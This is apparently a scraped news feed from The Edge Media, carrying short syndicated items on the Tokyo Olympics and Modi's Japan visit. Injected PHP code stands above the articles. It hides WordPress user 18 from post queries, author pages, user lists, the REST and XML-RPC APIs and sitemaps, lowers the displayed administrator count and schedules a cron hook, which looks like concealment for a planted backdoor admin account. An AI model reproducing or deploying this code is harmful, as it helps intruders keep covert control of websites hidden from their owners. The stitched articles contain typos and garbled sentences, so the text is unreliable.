add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post PM Modi said in Tokyo that Japan has played an essential role in India’s growth appeared first on The Edge Media.
]]>
To encourage more investment in India, Prime Minister Narendra Modi proposed a ‘Japan Week’ to recognize Japan’s contribution to the country’s development. Modi hosted a roundtable discussion with Japanese business leaders, which included top executives and CEOs from 34 Japanese companies. The majority of these businesses invest and operate in India.
The post PM Modi said in Tokyo that Japan has played an essential role in India’s growth appeared first on The Edge Media.
]]>The post Army Officer Neeraj Chopra is the first to win gold for India at Tokyo Olympics. appeared first on The Edge Media.
]]>He won the first Gold medal for India at the Tokyo Olympics. He impressed in the majority of the rounds.
On Saturday, Indian Javelin thrower Neeraj Chopra created history by becoming the first from the country to win a gold in track and field in the Olympics. He threw a distance of 87.58m to pick up the gold at the ongoing Tokyo Olympics.
Neerahis quest for a medal with a massive throw of 87.03 meters and was leading the pack after the end of first attempt.
Haryana government has announced Rs. 6 crore as reward for winning the gold medal in men’s javelin throw.
The post Army Officer Neeraj Chopra is the first to win gold for India at Tokyo Olympics. appeared first on The Edge Media.
]]>The post Tropical storm to hit Tokyo on the last day of the Olympics appeared first on The Edge Media.
]]>Japan’s weather agency warned of strong winds, high waves and the risk of landslides and floods along the eastern coastline from Saturday afternoon to Sunday, when Tropical Storm Mirinae is expected to pass over the capital.
The Olympics closing ceremony is on Sunday evening, with medal events including water polo and rhythmic gymnastics taking place at indoor venues in the city during the day.
Cycling track races are also scheduled in Shizuoka, southwest of Tokyo, while the men’s marathon will kick off early Sunday in the far northern city of Sapporo.
“We are firmly and calmly paying attention” to the path of the storm, Tokyo 2020 organising committee spokesman Masa Takaya told reporters.
It is necessary to inform you objectively, so that we can avoid excessive overreaction,” he said.
A separate storm hit Japan last week, forcing Games organisers to reschedule some rowing and archery events, although they brought forward the surfing finals to take advantage of strong waves.
On Friday, Mirinae was around 100 kilometres (62 miles) north of Minamidaito island, near the southern archipelago of Okinawa.
It was moving east, packing gusts of up to 108 kilometres per hour (67 miles per hour).
Another tropical storm is hovering in the Taiwan strait, moving towards Japan.
Japan’s typhoon season runs from around May to October, peaking in August and September.
In 2019, Typhoon Hagibis smashed into Japan as it hosted the Rugby World Cup, killing more than 100 people.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Tropical storm to hit Tokyo on the last day of the Olympics appeared first on The Edge Media.
]]>The post Tokyo Olympics : Malaika Mihambo wins long jump gold. appeared first on The Edge Media.
]]>Mihambo was laying in the bronze medal position ahead of her final jump, but powered down the runaway to register a season-best jump of 7.00 metres.
That left 2012 Olympic champion reese– who had led the competition with a best jump of 6.97m– with one final attempt to reclaim the lead.
But the American could only manage 6.84 with her last leap to settle for silver.
Nigeria’s Ese Brune took the bronze medal with a best jump of 6.97m.
The post Tokyo Olympics : Malaika Mihambo wins long jump gold. appeared first on The Edge Media.
]]>The post Tokyo Olympics : India beats Australia to reach the women’s hockey semifinals. appeared first on The Edge Media.
]]>India held onto their lead through Gurjit Kaur in the second quarters as they showcased immense defensive might to keep the Australian women at bay. The Rani-rampel-led indian team defeated world no.2 Australia 1-0 in the quarterfinal clash thanks to Gurjit Kaur’s 22 minute strike. India’s best result was a fourth place finish in a round-robin competition with six teams in the 1980 Olympics games.
A day after the Indian men’s team entered the Olympic semifinals following a 49-year-gap, the world no.9 women’s side also entered the history books with a phenomenal gritty performance.
The post Tokyo Olympics : India beats Australia to reach the women’s hockey semifinals. appeared first on The Edge Media.
]]>The post India’s PV Sindhu enters the quarter final , Tokyo Olympics. appeared first on The Edge Media.
]]>The 26-year-old indian , who won silver in the 2016 Rio Olympics, notched up a 21-15-21-13 win over the 13th seed blichfeldt in a 41-minute match.
Sindu will next face the winner of the match between Akane Yamaguchi of Japan and Korea’s Kim Gaeun.
Sindu played some jaw-dropping shots, especially the crosscourt drop shots and was particularly good at the drop shots near the net. The Danish didn’t help her own cause as she made several errors in her serves making sinfu’s task even more easier.
The post India’s PV Sindhu enters the quarter final , Tokyo Olympics. appeared first on The Edge Media.
]]>The post US Gymnast Simone Biles withdrew from the Olympics to Focus on Mental Health. appeared first on The Edge Media.
]]>“Simone will continue to be evaluated daily to determine whether or not to participate in next weeks ‘ individual event finals.
On Wednesday , Simone Biles abandoned the defence of her individual all-around Olympic crown , a day after her withdrawal from the women’s team final over mental health concerns.
“We wholeheartedly support Simone’s decision and applaud her bravery in prioritising her well-being. Her courage shows, yet again , why she is a role model for so much money.”
The post US Gymnast Simone Biles withdrew from the Olympics to Focus on Mental Health. appeared first on The Edge Media.
]]>The post Tropical storm nears Japan, Disrupting Tokyo Olympics. appeared first on The Edge Media.
]]>Olympic organisers have rescheduled rowing and archery over concerns about high winds from Tropical Storm Nepartak, which is packing gusts of up to 108 kilometres (67 miles) an hour.
The Storm, currently around 190 kilometres east of Choshi city , was originally headed for Tokyo, but has shifted north and is now expected to make landfall around the Miyagi region early on Wednesday.
“Games in Miyagi and Ibaraki will be held as scheduled. We expect spectators to come watch too,” Tokyo 2020 spokesman Masa Takaya told reporters.
The post Tropical storm nears Japan, Disrupting Tokyo Olympics. appeared first on The Edge Media.
]]>The post Bhavani Devi wins India’s first-ever fencing match in the history of Olympics. appeared first on The Edge Media.
]]>The 27-year-old made her game debut showcasing nerves of steel as she was in complete control of her Women’s Sabre Individual Table of 64 bout, beating Tunisia’s Nadia Azizi 15-3 .
Despite a delay in the start to their bout, Bhavani Devi kept her composure and raced to an 8-0 lead.
Bhavani Devi not only attacked with precision but also collected points when she was on the backfoot with some smart touches. The 27-year-old from Chennai , who made history by becoming the first fencer from India to make it to the Olympic games, trained extensively in italy.
The post Bhavani Devi wins India’s first-ever fencing match in the history of Olympics. appeared first on The Edge Media.
]]>The post Google launches an interactive series of Olympics – themed minigames appeared first on The Edge Media.
]]>The game will feature on the ‘Doodles’ on the main page of the search engine.

This is the largest-ever interactive Google Doodle game so far, whose opening cinematic and the characters were designed and animated by the Tokyo-based Studio 4°C.

The game presents a 16-bit adventure set within the game world of Champion Island.

Players can join one of four colour teams and play as Lucky the calico and compete in seven sport mini-games to defeat sport champions and obtain sacred scrolls.
Players contribute to a real-time global leaderboard.
The Tokyo Olympics were originally scheduled for July 24 to August 9, 2020, followed by the Paralympics from August 25 to September 6. They were delayed due to the Covid-19 pandemic, and rescheduled to July 23 to August 8, 2021 and August 24 to September 5, 2021, respectively.
Pandemic restrictions mean that for the first time in Olympic history, no domestic or overseas spectators will be allowed to attend the Games.
Athletes, support staff and media are subject to strict Covid-19 protocols, including regular testing and daily health checks.
The post Google launches an interactive series of Olympics – themed minigames appeared first on The Edge Media.
]]>